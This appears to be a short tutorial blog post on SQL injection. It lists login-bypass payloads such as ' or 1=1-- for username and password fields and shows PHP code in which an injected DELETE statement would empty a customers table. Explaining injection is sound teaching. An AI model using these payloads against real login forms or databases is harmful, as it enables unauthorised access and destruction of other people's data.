SQL INJECTION WITH EXAMPLE

Some More Example Of SQL INJECTION

Continued from the last post,in this post, we will see some real example of the SQL Injection.

For the LOGIN Form :-

user:admin (you dont even have to put this.)

pass:' or 1=1--

or

user:' or 1=1--

admin:' or 1=1--

some sites will have just a password so

password:' or 1=1--

The injection attack has actually made our query behave differently than we intended. By using a single quote (') they have ended the string part of our MySQL query
username = ' '
and then added on to our WHERE statement with an OR clause of 1 (always true).
username = ' ' OR 1
This OR clause of 1 will always be true and so every single entry in the "customers" table would be selected by this statement!

Although the above example displayed a situation where an attacker could possibly get access to a lot of information they shouldn't have, the attacks can be a lot worse. For example an attacker could empty out a table by executing a DELETE statement.

MySQL & PHP Code:

$name_evil = "'; DELETE FROM customers WHERE 1 or username = '";
// our MySQL query builder really should check for injection
$query_evil = "SELECT * FROM customers WHERE username = '$name_evil'";
// the new evil injection query would include a DELETE statement
echo "Injection: " . $query_evil;

Display:

SELECT * FROM customers WHERE username = ' '; DELETE FROM customers WHERE 1 or username = ' '
If you were run this query, then the injected DELETE statement would completely empty your "customers" table.